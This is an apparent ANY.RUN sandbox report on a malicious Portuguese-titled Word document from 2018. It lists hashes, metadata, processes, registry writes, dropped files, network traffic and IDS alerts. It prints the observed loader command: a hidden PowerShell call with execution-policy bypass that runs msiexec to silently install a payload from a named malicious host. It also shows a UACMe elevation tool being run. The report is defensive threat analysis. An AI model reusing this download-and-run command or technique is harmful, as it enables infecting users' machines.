| File name: | eb66ebb95a3dcecae64c61f611a9332fbf460d1b8039d3ab7e4f220104a4bec4 |
| Full analysis: | https://app.any.run/tasks/55cb07a9-e4fd-409d-91c6-47a86318a53c |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | November 15, 2018, 15:21:07 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: -535, Title: Documento criado na verso anterior do Microsoft Office Word, Author: 1, Template: Normal.dot, Last Saved By: Microsoft Office, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:21:00, Create Time/Date: Mon Nov 12 10:24:00 2018, Last Saved Time/Date: Mon Nov 12 10:24:00 2018, Number of Pages: 1, Number of Words: 42, Number of Characters: 243, Security: 0 |
| MD5: | B811A63EAA3F6A76D4176A64655C086F |
| SHA1: | 45F3B9F49D4C680DE6FDEDE99427289A11317AA0 |
| SHA256: | EB66EBB95A3DCECAE64C61F611A9332FBF460D1B8039D3AB7E4F220104A4BEC4 |
| SSDEEP: | 768:CR8S554gyDL39cD9f9FfpsqKh83qtkmCuB5hq5e7MKkRPuLxj03XSp:CR8S5GxvSt3y83D2hL7TjEi |
MALICIOUS
Loads the Task Scheduler COM API
- WINWORD.EXE (PID: 1536)
Uses Microsoft Installer as loader
- powershell.exe (PID: 3096)
Application was dropped or rewritten from another process
- staterepository.exe (PID: 3184)
- akagi32.exe (PID: 3116)
Downloads executable files from the Internet
- msiexec.exe (PID: 3608)
SUSPICIOUS
Executable content was dropped or overwritten
- msiexec.exe (PID: 3608)
- staterepository.exe (PID: 3184)
Creates files in the user directory
- powershell.exe (PID: 3096)
INFO
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3608)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1536)
Creates a software uninstall entry
- msiexec.exe (PID: 3608)
Creates files in the user directory
- WINWORD.EXE (PID: 1536)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | Documento criado na versão anterior do Microsoft Office Word |
|---|---|
| Subject: | - |
| Author: | 1 |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dot |
| LastModifiedBy: | Microsoft Office |
| RevisionNumber: | 2 |
| Software: | Microsoft Office Word |
| TotalEditTime: | 1.4 hours |
| CreateDate: | 2018:11:12 10:24:00 |
| ModifyDate: | 2018:11:12 10:24:00 |
| Pages: | 1 |
| Words: | 42 |
| Characters: | 243 |
| Security: | None |
| CodePage: | Unicode (UTF-8) |
| Company: | - |
| Lines: | 2 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 284 |
| AppVersion: | 11.9999 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | Documento criado na versão anterior do Microsoft Office Word |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 31 |
| CompObjUserType: | ???????? Microsoft Office Word |
Total processes
42
Monitored processes
8
Malicious processes
0
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1536 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\eb66ebb95a3dcecae64c61f611a9332fbf460d1b8039d3ab7e4f220104a4bec4.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 1792 | C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} | C:\Windows\system32\DllHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2724 | C:\Windows\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937} | C:\Windows\system32\DllHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3096 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -executionpolicy bypass -noprofile -w hidden -c & "msiexec" urk=yahoo url=com /q /i http://offficebox.com/host32 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | taskeng.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3116 | "C:\Users\admin\AppData\Local\Temp\akagi32.exe" 43 C:\Users\admin\AppData\Local\Temp\archive.exe | C:\Users\admin\AppData\Local\Temp\akagi32.exe | — | staterepository.exe | |||||||||||
User: admin Company: Hazardous Environments Integrity Level: MEDIUM Description: UACMe main module Exit code: 0 Version: 3.0.4.1811 Modules
| |||||||||||||||
| 3184 | "C:\Users\admin\AppData\Local\Temp\Data1\staterepository.exe" | C:\Users\admin\AppData\Local\Temp\Data1\staterepository.exe | msiexec.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3608 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3840 | "C:\Windows\system32\msiexec.exe" urk=yahoo url=com /q /i http://offficebox.com/host32 | C:\Windows\system32\msiexec.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 810
Read events
1 260
Write events
529
Delete events
21
Modification events
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | $f |
Value: 2424660000060000010000000000000000000000 | |||
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1299120143 | |||
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1299120256 | |||
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1299120257 | |||
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 000600008E580CE1F67CD40100000000 | |||
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | m%f |
Value: 6D2566000006000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | m%f |
Value: 6D2566000006000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (1536) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
6
Suspicious files
4
Text files
10
Unknown types
6
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9824.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF78035150B05F3B68.TMP | — | |
MD5:— | SHA256:— | |||
| 1536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFBADF150033E790B3.TMP | — | |
MD5:— | SHA256:— | |||
| 1536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF11AD26B140C47D7C.TMP | — | |
MD5:— | SHA256:— | |||
| 3096 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PYY10L1L966XIJH25WLY.temp | — | |
MD5:— | SHA256:— | |||
| 3608 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFD2C434E06FF0EF75.TMP | — | |
MD5:— | SHA256:— | |||
| 3096 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5df6bf.TMP | binary | |
MD5:— | SHA256:— | |||
| 1536 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 1536 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3184 | staterepository.exe | C:\Users\admin\AppData\Local\Temp\nssB4.tmp\System.dll | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3608 | msiexec.exe | GET | 200 | 185.174.172.226:80 | http://offficebox.com/host32 | UA | executable | 1020 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3608 | msiexec.exe | 185.174.172.226:80 | offficebox.com | ITL Company | UA | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
offficebox.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3608 | msiexec.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic |
3608 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file |